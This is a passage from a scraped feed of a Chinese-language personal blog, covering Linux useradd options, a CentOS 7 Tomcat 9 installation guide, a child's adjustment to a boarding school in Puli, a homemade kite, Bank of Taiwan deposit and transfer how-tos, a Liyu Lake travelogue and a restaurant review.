admin、developer、leader 三個群組的成員。\n帳號使用期限 Linux 的使用者帳號可以設定使用期限，讓帳號過期之後就無法使用，若要在建立帳號時就設定使用期限，可以加上 -e 參數並指定使用的期限：\n# 設定帳號使用期限 sudo useradd -e 2019-03-17 gtwang 這樣新增的 gtwang 帳號就只能使用到 2019 年 3 月 17 日，過了這個日期就無法再使用了。\n若要查詢帳號的使用期限，可以使用 chage 指令：\n# 查詢帳號使用期限 sudo chage -l gtwang 另一個會產生帳號停用的狀況就是密碼過期，-f 參數可以指定在密碼過期多少天之後，才真正停用帳號：\n# 設定帳號使用期限 sudo useradd -f 45 gtwang 這樣就是設定當 gtwang 的密碼過期 45 天之後，就停用該帳號。\n使用者姓名 新增使用者的時候，可以用 -c 參數加上帳號的註解說明文字，通常管理者都會填入使用者的真實姓名：\n# 設定使用者真實姓名 sudo useradd -c \u0026#34;G. T. Wang\u0026#34; gtwang 指定登入 Shell 正常的 Linux 使用者帳號不需要特別更改登入的 shell，不過對於某些特殊的系統帳號來說，因為安全性的因素，我們不希望它可以像正常帳號依樣登入使用，這時候就可以更改預設的登入 shell。\n若要更改預設的登入 shell，可以加上 -s 參數並指定 shell 的路徑：\n# 指定登入 Shell sudo useradd -s /sbin/nologin gtwang nologin 是一個特殊的 shell，可以讓該帳號登入後立即登出，無法做任何事，大部分不允許登入的系統帳號都會將登入 shell 設定為 nologin。\n骨架目錄 所謂的骨架目錄（skeleton directory）就是一個家目錄的預設範本，裡面包含各種預設的設定檔或目錄（例如 .bashrc 這類的設定檔），在新增使用者並建立家目錄時，就會把骨架目錄中的所有檔案複製過來。\n系統上預設的骨架目錄是 /etc/skel，若要更改骨架目錄，則可使用 -k 參數：\n# 更改骨架目錄 sudo useradd -k /etc/custom.skel gtwang 這樣在建立 gtwang 的家目錄時，就會將 /etc/custom.skel 目錄中所有的檔案複製過來。\n參考資料 Tecmint DigitalOcean ","permalink":"https://blog.gtwang.org/linux/linux-useradd-command-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如在 Linux 中使用 \u003ccode\u003euseradd\u003c/code\u003e 指令新增使用者帳號。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統之下若要新增使用者帳號，做基本的方式就是使用 \u003ccode\u003euseradd\u003c/code\u003e 指令來新增帳號，以下是這個指令個用法教學以及常用的範例。\u003c/p\u003e","title":"Linux 新增使用者 useradd 指令用法教學與範例"},{"content":"本篇記錄阿玄就讀均頭國小二年級的各項費用，以及制服與運動服。\n就讀均頭國小一學期的費用大約是八萬多左右，再加上交通車的費用（依路程遠近計算），以下是阿玄今年入學時，各項費用的明細。\n這是學校交通車的收費標準。\n這是制服與運動服的費用明細。\n這是書籍刊物的費用明細。\n這是註冊費的明細表。\n所有的費用會在入學之後，統一由學校發放繳費單，然後拿著繳費單到郵局繳納，以下是我們今年的繳費收據與明細。\n學生制服 這是均頭國小的學生制服，總共有兩大袋。\n這是內容物的明細表。\n學生制服在收到之後，要拿去繡名字。由於每個年級繡字的顏色都不同，建議去埔里找有跟均頭國小配合的店家繡字。\n名字繡字的位置，衣服與褲子都在右邊。\n襪子則是在內側繡一個字。\n若想了解更多有關均頭國小的資訊，可以參考均頭國小的文章集。\n","permalink":"https://blog.gtwang.org/children/jtjhs-tuition-20181015/","summary":"\u003cp\u003e本篇記錄阿玄就讀均頭國小二年級的各項費用，以及制服與運動服。\u003c/p\u003e\n\u003cp\u003e就讀均頭國小一學期的費用大約是八萬多左右，再加上交通車的費用（依路程遠近計算），以下是阿玄今年入學時，各項費用的明細。\u003c/p\u003e","title":"[南投埔里] 均頭國小學雜費、住宿費、交通費與制服"},{"content":"本篇記錄這週我用竹筷子自己製作迷你小風箏的過程。\n這禮拜阿玄在均頭國小打電話給我的時候，就跟我說他想要去買風箏、放風箏，我想大概是在學校有看的風箏，所以一直想去放風箏。\n結果這週回家這幾天，天氣都很晴朗，沒有什麼風，就算買了風箏也放不起來，我乾脆用竹筷子與日曆紙直接做一個小風箏給他玩，沒有風的話至少還可以用電扇吹。 Step 1\n因為要製作小型的風箏，所以我拿一支竹筷子用美工刀對半切 。\nStep 2\n對半切之後，再把竹筷子稍微削細一點，然後把其中之一枝切短一點。\nStep 3\n拿一張日曆紙，把兩枝骨架放上去，畫出風箏的樣子。\nStep 4\n把畫好的風箏剪下來。\nStep 5\n剪下來之後，檢查一下大小是否合適。\n在製作風箏的時候，阿玄也在旁邊拍照。\nStep 6\n使用透明膠帶黏貼骨架，因為是小風箏，所以只要黏骨架的四個角落即可，膠帶也不要用太多，以免太重飛不起來。\nStep 7\n膠帶貼上去之後，凸出去的部分可以用剪刀剪掉。\nStep 8\n使用一般的縫衣線來當作風箏線。\n綁線的時候，上下都是大約綁在一半的位置。\n最後貼上風箏尾巴，這樣就完成了。\n","permalink":"https://blog.gtwang.org/children/diy-mini-kite-20181013/","summary":"\u003cp\u003e本篇記錄這週我用竹筷子自己製作迷你小風箏的過程。\u003c/p\u003e\n\u003cp\u003e這禮拜阿玄在均頭國小打電話給我的時候，就跟我說他想要去買風箏、放風箏，我想大概是在學校有看的風箏，所以一直想去放風箏。\u003c/p\u003e","title":"製作迷你小風箏給小朋友玩"},{"content":"本篇記錄阿玄就讀南投埔里均頭國小的適應情況。\n我們家阿玄今年在讀完小學一年級之後，升小二時就轉到均頭國小就讀，阿玄在剛入學階段有些適應上的問題，最主要的就是會想回家，我想這個問題應該是絕大部分小朋友在剛入學時都會遇到的問題，我想把我們家阿玄的狀況記錄下來，給大家參考。\n報到第一週 阿玄入學報到那一天剛好是週四，而當天在學校住一個晚上之後，隔天中午就搭校車回家了，所以比較沒有明顯的不適應感，而在週日又搭車回學校之後，阿玄就開始想回家了，週一白天在學校哭著跟老師說想要找爸爸媽媽，所以老師就跟我們聯絡，當天我下班之後，飯都沒吃就匆匆趕到埔里，到學校的時候大約是晚上八點半左右。\n基本上我是感覺阿玄在均頭國小沒什麼大問題，就是阿玄個性內向、怕生，遇到新環境還沒有熟悉，又加上爸媽不在身邊，就會想回家。\n我們私下跟阿玄的夜間導師溝通了一會兒，了解詳細的狀況之後，就寫了一張外宿單，帶阿玄出來到旅館住一個晚上，讓阿玄心情好一點，當天晚我們就住在平雲山都。阿玄第一次來住旅館，開心的不得了，而我則是累翻了，晚上九點還沒吃飯。\n隔天早上一起床，阿玄又開始看卡通了，這個年紀的小朋友，不是吵著玩手機就是要看電視，光是管這個就夠累了，還好平常在均頭國小手機都有管制，也沒有電視問題，比較不必擔心這個問題。\n早餐我們在平雲山都的餐廳用餐，間單的自助式早餐，環境清幽。\n阿玄拿了兩片土司，塗著他最喜歡的草莓果醬。\n吃完早餐之後，我們就在附近散步了一下，平雲山都旁邊就是普台國小，而從這裡就可以看到中台禪寺。\n散步完之後，就送阿玄回學校，不過阿玄還是非常不想回學校，他跟我們說他有許多不適應的地方，例如坐交通車不知道時間，不知道何時到站要下車等等（其實司機都有名單啦，不會讓小朋友下錯站的，只是阿玄會緊張），我們就帶他到埔里街上的寶島鐘錶，買一隻小朋友的手錶給他，讓他可以看時間，也讓他可以開心一點，比較能夠忘記回家的事情。\n在這之後，每天的電話時間阿玄都會打電話回家，說他想快一點回家，那幾天他的心情都不是很好。\n第二週 又過了一週之後，玄媽直接在埔里租了一間房子，搬過去埔里住，下午的電話時間時常都去看一下阿玄，讓阿玄心情可以好一些，然後我跟阿玄說他如果乖乖在學校念書，每週回家就給他一些零用錢，可以買自己喜歡的玩具，想辦法讓他有一些開心的事情。\n雖然玄媽常常去看他，不過阿玄在用 LINE 跟我視訊的時候，還是常常哭著跟我說想回家，不過其實就老師的觀察，阿玄其實算是適應情況還不錯的了，我感覺只是因為在家比較自由，所以想回家。\n阿玄大概有一週的時間打電話給我都會哭，說他心情不好，不過漸漸適應且熟悉學校的環境、作息之後，阿玄說他有慢慢適應了，有時候還會跟我說他因為某些事情很開心，大部分開心的事情就是學校的早餐超好吃，有一次他說他早餐吃披薩（還有配什麼我忘了）從早上開心到下午。\n第三週 入學後三週左右，剛好遇到中秋節，原本交通車是在中秋節當天晚上接送學生返校，而我們讓阿玄中秋節晚上跟我們一起在埔里住一晚，隔天一大早才送他回學校上課。\n回學校的時候，我們順便幫阿玄拿行李到他的寢室，結果非常訝異他的內務櫃竟然非常整齊，一去還會自動把新的衣服、襪子摺好再放進櫃子（這是在家永遠不會發生的事）。\n在這邊的小朋友由於團體的力量，比較容易養成好的生活習慣。\n一個月 大約在入學一個月又一週左右，學校舉行段考，那一週全校學生都要留校，而家長則是可以到學校跟學生一起用中餐，晚餐也可以出外用餐，那一週我剛好有事去北部，中間就順便去看看阿玄。\n阿玄在均頭一個多月之後，感覺已經比剛開學好非常多了。\n行事曆與社團資料 這是這學期學校的行事曆，原則上就是段考那一週會留校，然後如果遇到國定假日的話，會稍微調整一下，跟週六日一起放，這樣方便學生搭交通車回家。\n這是均頭國小的社團列表，選擇也不少。\n我都讓阿玄自己選擇他想要參加的社團，這學期他有參加魔術社，社團除了教魔術之外，都會有一些魔術道具讓小朋友帶回家玩，阿玄每次回家就會很高興的跟我說他要變魔術給我看。 🙂\n蚊子問題 由於均頭國小有蚊子，所以阿玄剛去的時候，時常被蚊子叮，抓一抓就破皮了，這種小傷口在結痂的時候可以擦純的麻油，對傷口癒合非常有幫助，每次他回家我都會幫他擦一下。\n三個月 阿玄進入均頭國小三個月左右，在學校的生活都非常習慣了，這一週又遇到段考，所以周末去學校陪阿玄用餐。\n吃飽之後，就回到教室午休。\n低年級的教室都在一樓，教室與宿舍之間都有走廊可以走，下雨天也不會淋到雨，對學生來說算是很方便。\n下學期 這是均頭國小下學期的行事曆。\n若想了解更多有關均頭國小的資訊，可以參考均頭國小的文章集。\n","permalink":"https://blog.gtwang.org/children/qixuan-in-jtjhs-puli-nantou-201810/","summary":"\u003cp\u003e本篇記錄阿玄就讀南投埔里均頭國小的適應情況。\u003c/p\u003e\n\u003cp\u003e我們家阿玄今年在讀完小學一年級之後，升小二時就\u003ca href=\"/children/jtjhs-puli-nantou-20180830/\"\u003e轉到均頭國小就讀\u003c/a\u003e，阿玄在剛入學階段有些適應上的問題，最主要的就是會想回家，我想這個問題應該是絕大部分小朋友在剛入學時都會遇到的問題，我想把我們家阿玄的狀況記錄下來，給大家參考。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"報到第一週\"\u003e報到第一週\u003c/h2\u003e\n\u003cp\u003e阿玄入學報到那一天剛好是週四，而當天在學校住一個晚上之後，隔天中午就搭校車回家了，所以比較沒有明顯的不適應感，而在週日又搭車回學校之後，阿玄就開始想回家了，週一白天在學校哭著跟老師說想要找爸爸媽媽，所以老師就跟我們聯絡，當天我下班之後，飯都沒吃就匆匆趕到埔里，到學校的時候大約是晚上八點半左右。\u003c/p\u003e","title":"[南投埔里] 阿玄就讀均頭國小適應過程記錄"},{"content":"本篇介紹如何在 CentOS Linux 7 系統之下安裝 Tomcat 9 伺服器，並設定 systemd 啟動指令稿。\nTomcat 是一套由 Apache Software Foundation 所發展的開放原始碼網頁伺服器與 servlet 容器，是目前最普遍被使用的 Java 應用程式伺服器（application server）之一，以下我們以 CentOS Linux 7.5 的環境為例，示範安裝 Tomcat 9.0.12 的過程。\n若需要安裝 Tomcat 8 或 Apache 網頁伺服器，可以參考 CentOS Linux 7 安裝 Apache 2 與 Tomcat 8 的教學。\n更新 CentOS 系統 安裝之前，先將 CentOS 系統更新一下：\nsudo yum update 安裝 Java 8 Tomcat 9 需要 Java 8 以上的環境，而 CentOS 7 官方的套件庫就有收錄 Java 8，所以用 yum 安裝即可：\nsudo yum install java-1.8.0-openjdk java-1.8.0-openjdk-devel 安裝好之後，檢查一下 Java 的版本：\njava -version openjdk version \"1.8.0_181\" OpenJDK Runtime Environment (build 1.8.0_181-b13) OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode) 安裝 Tomcat 9 從 Tomcat 的官方網站下載最新的 Tomcat 9 壓縮檔：\nwget http://ftp.tc.edu.tw/pub/Apache/tomcat/tomcat-9/v9.0.12/bin/apache-tomcat-9.0.12.zip 建議同時下載 SHA512 的檢查碼：\nwget https://www.apache.org/dist/tomcat/tomcat-9/v9.0.12/bin/apache-tomcat-9.0.12.zip.sha512 以 sha512sum 檢查一下檔案是否完好：\n# 計算 SHA512 檢查碼 sha512sum apache-tomcat-9.0.12.zip 012d9513a3fa1e96d2d5ad9b1cf3949b864c1eb5b1af02946bf5a8d4d0966075d0125184172dff0ea94c92509af0af034f310c622730544702a73586756c1bf6 apache-tomcat-9.0.12.zip 跟原始的 SHA512 檢查碼做比較：\n# 原始 SHA512 檢查碼 cat apache-tomcat-9.0.12.zip.sha512 012d9513a3fa1e96d2d5ad9b1cf3949b864c1eb5b1af02946bf5a8d4d0966075d0125184172dff0ea94c92509af0af034f310c622730544702a73586756c1bf6 *apache-tomcat-9.0.12.zip 兩個檢查碼完全相同，就代表沒有問題，接著進行解壓縮。\n# 解壓縮 unzip apache-tomcat-9.0.12.zip 這裡我們打算將 Tomcat 安裝在 /opt 目錄下，如果要放在其他地方，可以自己修改。\n# 解壓縮 sudo mv apache-tomcat-9.0.12 /opt/tomcat 新增 Tomcat 帳號 在正常的狀況下，由於安全性的考量，系統的各項服務都不建議使用 root 權限來執行，所以我們必須新增一個專門用於執行 Tomcat 服務的 tomcat 帳號：\n# 新增 tomcat 系統帳號 useradd -r tomcat --shell /bin/false 設定檔案的群組與權限，有些目錄需要讓 Tomcat 寫入資料，必須將目錄的擁有者改為 tomcat：\n# 設定檔案權限 cd /opt/tomcat sudo chgrp -R tomcat * sudo chmod g+rwx conf sudo chmod -R g+r conf sudo chown -R tomcat webapps/ work/ temp/ logs/ sudo chmod +x /opt/tomcat/bin/*.sh 設定 Systemd 啟動指令稿 建立 /etc/systemd/system/tomcat.service 這個 Systemd 的設定檔：\nsudo vi /etc/systemd/system/tomcat.service 檔案內容如下：\n[Unit] Description=Apache Tomcat 9 After=syslog.target network.target [Service] User=tomcat Group=tomcat Type=forking Environment=CATALINA_PID=/opt/tomcat/temp/tomcat.pid Environment=CATALINA_HOME=/opt/tomcat Environment=CATALINA_BASE=/opt/tomcat ExecStart=/opt/tomcat/bin/startup.sh ExecStop=/opt/tomcat/bin/shutdown.sh Restart=on-failure Environment=\u0026#39;CATALINA_OPTS=-Xms512M -Xmx8192M -server -XX:+UseParallelGC\u0026#39; Environment=\u0026#39;JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom\u0026#39; [Install] WantedBy=multi-user.target 存檔之後，要重新載入 Systemd，讓新的 Tomcat 設定檔生效：\n# 重新載入 systemd sudo systemctl daemon-reload 將 Tomcat 伺服器設定為開機自動啟動：\n# 設定開機自動啟動 Tomcat sudo systemctl enable tomcat 立即啟動 Tomcat 服務：\n# 立即啟動 Tomcat sudo systemctl start tomcat 查看 Tomcat 服務的狀態：\n# 查看 Tomcat 服務狀態 systemctl status tomcat ● tomcat.service - Apache Tomcat 9 Loaded: loaded (/etc/systemd/system/tomcat.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2018-10-11 13:34:10 CST; 9s ago Process: 30274 ExecStart=/opt/tomcat/bin/startup.sh (code=exited, status=0/SUCCESS) Main PID: 30288 (java) CGroup: /system.slice/tomcat.service └─30288 /usr/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.l... Oct 11 13:34:10 mail.nchc.org.tw systemd[1]: Starting Apache Tomcat 9... Oct 11 13:34:10 mail.nchc.org.tw systemd[1]: Started Apache Tomcat 9. 如果 Active 欄位呈現 active (running) 的話，就表示 Tomcat 有正常啟動了。\n開啟瀏覽器，在網址列輸入 http://伺服器IP位址:8080/，應該就可以看到 Tomcat 9 的網頁了。\n停止 Tomcat 服務 如果要停止 Tomcat 服務，則執行：\n# 停止 Tomcat sudo systemctl stop tomcat # 取消開機自動啟動 sudo systemctl disable tomcat Tomcat 網頁管理介面 如果想要使用 Tomcat 的網頁管理介面，則必須新增 Tomcat 管理者的帳號，編輯 tomcat-users.xml 這個設定檔：\nsudo vi /opt/tomcat/conf/tomcat-users.xml 在這個設定檔中加入以下幾行：\n\u0026lt;tomcat-users\u0026gt; \u0026lt;role rolename=\u0026#34;admin-gui\u0026#34; /\u0026gt; \u0026lt;user username=\u0026#34;USERNAME\u0026#34; password=\u0026#34;PASSWORD\u0026#34; roles=\u0026#34;manager-gui,admin-gui\u0026#34;/\u0026gt; \u0026lt;/tomcat-users\u0026gt; 其中 USERNAME 與 PASSWORD 請換成自己的帳號與密碼。\n在預設的狀況下，Tomcat 僅允許來自於本機的連線存取網頁管理介面，如果要解除這個限制，就要修改 context.xml 這個設定檔：\nsudo vi /opt/tomcat/webapps/manager/META-INF/context.xml 將下面這一行移除，或是依照自己的狀況修改：\n\u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.RemoteAddrValve\u0026#34; allow=\u0026#34;127.d+.d+.d+|::1|0:0:0:0:0:0:0:1\u0026#34; /\u0026gt; 參考資料 RoseHosting ","permalink":"https://blog.gtwang.org/linux/centos-linux-7-install-apache-tomcat-9-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 7 系統之下安裝 Tomcat 9 伺服器，並設定 \u003ccode\u003esystemd\u003c/code\u003e 啟動指令稿。\u003c/p\u003e\n\u003cp\u003eTomcat 是一套由 Apache Software Foundation 所發展的開放原始碼網頁伺服器與 servlet 容器，是目前最普遍被使用的 Java 應用程式伺服器（application server）之一，以下我們以 CentOS Linux 7.5 的環境為例，示範安裝 Tomcat 9.0.12 的過程。\u003c/p\u003e","title":"CentOS 7 安裝 Tomcat 9 伺服器教學"},{"content":"本篇介紹如何使用台灣銀行的無摺存款，在沒有存摺的情況下直接將錢存入台銀戶頭。\n如果要將錢存入台灣銀行的帳戶，不管是別人的還是自己的帳戶，只要知道帳號以及戶名，就可以填寫無摺存入憑條，臨櫃辦理無摺存款。\n在網路上買東西的時候，有些賣家會直接提供台銀的帳戶，讓買家直接以無摺存款的方式存入，節省匯款手續費。\n無摺存入憑條在台銀的填單區就可以直接拿取。\n以下是無摺存入憑條的填寫範例，只要填入正確的帳號、戶名與大寫金額即可。\n","permalink":"https://blog.gtwang.org/life/bank-of-taiwan-deposit-without-passbook/","summary":"\u003cp\u003e本篇介紹如何使用台灣銀行的無摺存款，在沒有存摺的情況下直接將錢存入台銀戶頭。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e如果要將錢存入台灣銀行的帳戶，不管是別人的還是自己的帳戶，只要知道帳號以及戶名，就可以填寫無摺存入憑條，臨櫃辦理無摺存款。\u003c/p\u003e","title":"台灣銀行無摺存款教學與範例"},{"content":"鯉魚潭風景區就在埔里鎮的東側，從國道六號下來到這邊只要五分鐘左右，整個鯉魚潭風景區佔地 19 公頃，湖水面積約 17 公頃，是一座天然湖泊，中間以柳堤分隔，分為南北兩潭。\n環湖步道總長約 2.2 公里，沿途都是寬敞的步道，非常適合全家大小一同散步，不想走路的人也可以搭乘環湖小火車遊覽。\n鯉魚潭俗稱「鯉魚堀」，素有「小西湖」之稱，位於虎頭山下，地處台灣地理中心，四面環山，相傳鯉魚潭有七大吉穴：鯉魚穴、龜穴、鷹穴、龍穴、蝙蝠穴、蝦穴、蜈蚣穴。\n日據時期日本人擔心鯉魚潭像是一隻活耀的鯉魚，會孕育出傑出人才，因此藉故興建柳堤，像一枝長長的箭刺向鯉魚穴，破壞了當地的好風水，後來當地居民與風水師溝通討論之後，決定重新整修柳堤，並在鯉魚穴建造一尊觀世音菩薩像，據說這樣即可恢復鯉魚穴被破壞掉的靈氣，保佑埔里鄉民的平安。關於鯉魚潭的七大風水奇穴，可以觀看現代啟示錄介紹鯉魚潭七穴風水的節目。\n這是鯉魚潭的入口，這個路口不是很明顯，第一次來的話如果沒注意很容易開過頭。\n這裡有鯉魚潭的一些特色指標，還有簡單的地圖。\n汽車進入鯉魚潭必須繳納 100 元的清潔費，不限停車時間，若是騎機車過來的話則是免費的。\n這是收費亭，汽車進入時就要在這邊繳納 100 元清潔費。\n裡面的停車空間還滿大的。\n我們來的這一天是天氣非常好的星期六，車輛也非常少。\n繳納 100 元清潔費還會贈送一張環湖小火車兌換卷（或是折抵園區內消費 50 元），收費很便宜。\n還有附一張鯉魚潭的地圖。\n清潔費還有開發票。\n進來之後，就可以看到整個鯉魚潭的景色，從這裡就可以看到遠方的那一尊觀音菩薩。\n鯉魚潭內許多地方都有像這樣的野薑花。\n入口附近也許多的店家。\n鯉魚潭內主要的特色就是樟公亭、全長 2.2 公里的環湖步道、周圍的七大穴位，以及中間的柳堤與觀世音菩薩。\n七大風水吉穴，包含鯉魚穴、龜穴、鷹穴、龍穴、蝙蝠穴、蝦穴、蜈蚣穴，各有特色。\n樟公亭 樟公就是指樟神的意思，樟公亭內供奉的一棵數百年的樟樹，這一棵樟樹過去曾沉入潭底，九二一地震之後，託夢期望重見天日，經過潛水夫深入潭地探查，確定其存在，隨後將其打撈上岸，現在敬座於鯉魚潭畔，供大眾上香祈福。\n樟公前方還有一尊觀世音菩薩。\n這一棵樟樹的色澤與紋路非常漂亮，現場看起來比照片更漂亮。\n尤其是根部的紋路，非常有特色。\n後方有樟公祈福許願水。\n樟公周圍有擺放七大穴位的吉祥物。\n前方還可以跟七個穴位的吉祥物拍照。\n環湖小火車 來這邊一定要去走環湖步道，參觀七大穴位，如果不想走路的話，可以搭乘環湖小火車。\n入園繳納清潔費的時候，會贈送一張小火車票，不夠的話可以在售票亭再買票。\n環湖小火車成人票一張是 100 元。\n旁邊還有腳踏船，當然這也是要買票的。\n坐上小火車之後，就會沿著環湖步道繞一圈，沿途會撥放簡單的導覽解說。\n這是我們搭乘環湖小火車時所拍攝的影片。\n鯉魚穴 小火車開到中間的鯉魚穴時，會休息十分鐘。下面這個是鯉魚穴的吉祥物。\n鯉魚穴是鯉魚潭最主要的穴位，代表平安、吉祥。\n這裡有一個鯉魚的許願池。\n潭裡還有烏龜。\n在休息這段時間，可以上去三樓參拜觀世音菩薩。\n這就是位於鯉魚穴上的觀世音菩薩。\n這一尊青銅觀音像高度是 12 公尺，是東南亞最高，唯一站在鯉魚上的觀音像。\n旁邊有一座亭子，裡面是觀音祈福平安燈。\n從這裡遠眺天水蓮大飯店，景色非常優美。\n這是我拿好幾張相片拼貼成的全景照片。\n蝦穴 蝦穴就在樟公亭過去一點點。\n蝦穴代表的是生財、富貴。\n後方的那間灰色屋頂的房子剛好就佔住了蝦穴的地理，由於蝦子煮熟的就變成紅色，所以這間屋子忌用紅色，也不放鞭炮。\n從蝦穴再走過去一點就是天水蓮大飯店。\n這是鯉魚潭-虎頭山登山步道的入口。\n不過看起來這條步道還在整修中。\n走環湖步道時，時常可以遇見環湖小火車。\n環湖步道非常寬敞，大部分的區域都有樹蔭，走起來很舒服。\n龜穴 這是龜穴的所在地。\n龜穴代表的是健康、長壽。\n龜穴這邊放了一隻金色的龍龜。\n後方還有兩個紅龜粿模具。\n鯉魚潭這邊還有森林步道，不過感覺上好像很少人去走。\n蝙蝠穴 這一區是蝙蝠穴，潭中有橋可以走。\n潭中有很多的蓮花。\n這裡就是蝙蝠穴的位置。\n這是可愛的蝙蝠穴吉祥物。\n蝙蝠穴代表的是多子多孫。\n蝙蝠穴算是比較陰涼的穴位，旁邊有許多的涼亭，走累了可以在這裡休息。\n從蝙蝠穴往對岸看過去，剛好就是一貫道天元佛院的正面，那個位置就是龍穴的所在地。\n鯉魚潭孔雀園 蝙蝠穴再過去一點就是孔雀園。\n裡面是有孔雀，不過要看它開屏就要看運氣了。\n在環湖步道上的某一段，路上滿滿都是蝴蝶。\n鷹穴 這裡是鷹穴，有一隻老鷹在這裡。\n鷹穴代表的是青春、活力。\n這裡還有一個鷹的造型在邊。\n這是生長在湖畔的野薑花，整個鯉魚潭周圍幾乎都有野薑花的蹤跡。\n這是洛神花。\n在天泉溫泉會館前方的步道有一排櫻花，櫻花的季節應該會很漂亮。\n這是天泉溫泉會館。\n柳堤 這裡是柳堤，沿著柳堤走過去就可以到中間的鯉魚穴。\n對面是天水蓮大飯店。\n龍穴 這是龍穴的位置，擺放了三條龍的造型。\n這是龍穴的吉祥物。\n龍穴代表的是事業順利。\n蜈蚣穴 這裡是蜈蚣穴。\n蜈蚣穴代表安居樂業。\n蜈蚣穴的標示剛好在那一棵柳樹下，不太好找。\n這是從蜈蚣穴往蝦穴的方向看過去的樣子。\n這是埔里農會酒莊。\n酒莊內有販售一些酒類商品。\n還有一些適合送禮的禮盒。\n百香果啤酒應該算是這裡的特產。\n另外一邊還有一間華秝農場的茶油故事館，裡面也有賣一些茶油的商品。\n","permalink":"https://blog.gtwang.org/life/li-yu-lake-puli-nanto-20181007/","summary":"\u003cp\u003e鯉魚潭風景區就在埔里鎮的東側，從國道六號下來到這邊只要五分鐘左右，整個鯉魚潭風景區佔地 19 公頃，湖水面積約 17 公頃，是一座天然湖泊，中間以柳堤分隔，分為南北兩潭。\u003c/p\u003e","title":"[南投埔里] 鯉魚潭風景區：七大吉穴、樟公亭、踩鯉觀音"},{"content":"愛心蔬食坊是一家非常講究食材的素食餐廳，使用有機的蔬菜、不添加味素，讓大家可以吃的非常安心。\n上週六我有事去峨眉一趟，而中午要先吃個飯，上網找了一下發現峨眉附近的素食不多，反倒是竹南市區的素食還不少，最後選擇在這一家愛心蔬食坊用餐。\n愛心蔬食坊最近才被人間衛視的「幸福食光」節目採訪過，不管是食材、用水、用油都很講究，是一家很不錯的素食餐廳。\n店名：愛心蔬食坊\n地址：苗栗縣竹南鎮三泰街 228 號\n營業時間：中午 11:00 ～ 14:00\n晚上 17:00 ～ 20:00\n網站：facebook 粉絲專頁\n備註：週一公休\n這是愛心蔬食坊的大門口，門口如果沒有停車位的話，可以停在後方的環市路上再走過來，停車非常方便。\n門口有一些可愛的小盆栽。\n店內的座位還不少，用餐環境很舒適。\n店內還有撥放音樂，在這裡可以放輕鬆慢慢用餐。\n櫃台上方寫著愛心蔬食坊對於餐點料理的堅持，自產有機蔬菜，使用蔬果熬製湯頭，不添加人工味素，使用芥花植物油等。\n這是愛心蔬食坊菜單。\n餐具可由餐具區自由取用。\n我今天點的是三杯鮑菇套餐，看起來很美味的樣子。\n三杯鮑菇的量還滿多的。\n這一疊涼拌菜很好吃。\n這一碗是當歸湯，裡面有非常多種菇類。\n櫃檯旁邊擺放著各種感謝狀。\n這是這裡的熱門餐點。\n在愛心蔬食坊後方的環市路上，剛好有一個 YouBike 的站點，旁邊馬路上的停車格也非常多，不管是開車或是騎 YouBike 來這邊都非常方便。\n","permalink":"https://blog.gtwang.org/life/love-vegetarian-restaurant-zhunan-miaoli-20181006/","summary":"\u003cp\u003e愛心蔬食坊是一家非常講究食材的素食餐廳，使用有機的蔬菜、不添加味素，讓大家可以吃的非常安心。\u003c/p\u003e\n\u003cp\u003e上週六我有事去峨眉一趟，而中午要先吃個飯，上網找了一下發現峨眉附近的素食不多，反倒是竹南市區的素食還不少，最後選擇在這一家愛心蔬食坊用餐。\u003c/p\u003e","title":"[竹南素食] 愛心蔬食坊：各式創意料理、美味健康無負擔"},{"content":"這裡示範如何將台灣銀行帳戶的錢，轉帳至其他銀行的帳戶。\n如果要將自己在台灣銀行的存款，轉帳至其他銀行的帳戶，金額小的話可用 ATM 直接轉帳，但如果是大筆金額，則建議直接到台灣銀行臨櫃申請。\n在台銀臨櫃申請跨行轉帳匯款時，要帶自己的台銀存摺、印章以及身分證，並填寫提款單與匯款單，這兩張單子在填單區就可以拿取。\n第一張要填寫的是普通的提款單，這是填寫範例：\n另外還要填一張跨行匯款單，以下是填寫範例：\n填好這兩張單子之後，連同存摺、印章與身分證一起拿到櫃檯辦理即可，而在提款的時候，要輸入自己的提款密碼，匯款的手續費是三十元，這樣就可以將較大的金額匯入指定的銀行帳戶了。\n這種匯款方式不需要將錢拿出銀行，只要填單子以及核對身分即可，非常安全，若需要進行大金額的轉帳，建議還是使用這種方式比較好。\n","permalink":"https://blog.gtwang.org/life/bank-of-taiwan-inter-bank-fund-money-transfer-tutorial/","summary":"\u003cp\u003e這裡示範如何將台灣銀行帳戶的錢，轉帳至其他銀行的帳戶。\u003c/p\u003e\n\u003cp\u003e如果要將自己在台灣銀行的存款，轉帳至其他銀行的帳戶，金額小的話可用 ATM 直接轉帳，但如果是大筆金額，則建議直接到台灣銀行臨櫃申請。\u003c/p\u003e","title":"台灣銀行臨櫃跨行轉帳匯款教學"},{"content":"本篇是我最近購買 Sony Xperia L2 手機的簡單開箱文。\n我之前買了小米 Max 手機，雖然小米手機的 CP 值不錯，不過在通話品質上面一值都不是很好，用 LINE 通話時，都會有一些雜音，而且感覺聲音都會有延遲，講話都不是很順。\n最近在升級 MIUI 系統之後，用 LINE 通話打給別人都會出現非常重的雜音，對方幾乎完全聽不到我的聲音，而對方用 LINE 打給我感覺比較正常一些，偏偏最近又有重要事情需要聯絡，所以直接上網買一隻新的手機，把原本的小米 Max 